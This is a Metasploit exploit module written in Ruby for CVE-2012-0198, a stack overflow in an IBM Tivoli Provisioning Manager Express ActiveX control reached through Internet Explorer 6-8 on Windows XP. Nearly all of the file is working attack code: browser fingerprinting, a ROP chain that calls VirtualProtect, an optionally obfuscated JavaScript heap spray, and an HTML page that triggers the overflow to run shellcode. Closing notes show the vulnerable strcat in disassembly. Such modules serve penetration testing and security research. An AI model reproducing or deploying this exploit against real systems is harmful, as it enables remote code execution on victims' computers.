modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#
#autopwn_info({
# :os_name => OperatingSystems::Match::WINDOWS,
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "8.0",
# :javascript => true,
# :rank => NormalRanking,
# :classid => "{84B74E82-3475-420E-9949-773B4FB91771}",
# :method => "RunAndUploadFile",
#})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
Manager Express for Software Distribution 4.1.1.
The vulnerability is found in the "RunAndUploadFile" method
where the "OtherFields" parameter with user controlled data
is used to build a "Content-Disposition" header and attach
contents in an insecure way which allows to overflow a buffer
in the stack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0198' ],
[ 'OSVDB', '79735' ],
[ 'BID', '52252' ],
[ 'ZDI', '12-040' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
# isig.dll 2.44.282.0
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :jre,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x480',
'ebp' => 0x09090920,
'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => '2012-03-01',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
])
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end
def get_payload(t, cli)
if t['Rop'].nil?
code = ""
else
#Fix the stack to avoid anything busted
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to NEG
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = rop + code
return code
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
randnop = rand_text_alpha(rand(100) + 1)
js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['OffsetShell']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1A0; i++) {
heap_obj.alloc(block);
}
JS
js_spray = heaplib(js_spray, {:noobfu => true})
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate(memory_sensitive: true)
end
bof = rand_text_alpha(my_target['Offset'])
bof << [my_target['ebp']].pack("V") # ebp
bof << [my_target.ret].pack("V") # eip
html = <<-HTML
<html>
<head>
<script>
#{js_spray}
</script>
</head>
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
<script>
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
var flags = "-level5";
msg = isig.RunAndUploadFile(url, fields, flags);
</script>
</html>
HTML
html = html.gsub(/^ {4}/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* Vulnerability notes
The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:
.text:100040B0 Src = byte ptr -100h
...
.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param
.text:100040E0 lea eax, [ebp+Src]
.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header
; has been stored
.text:100040E7 call _strcat ; strcat used by this module to overflow
Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.
=end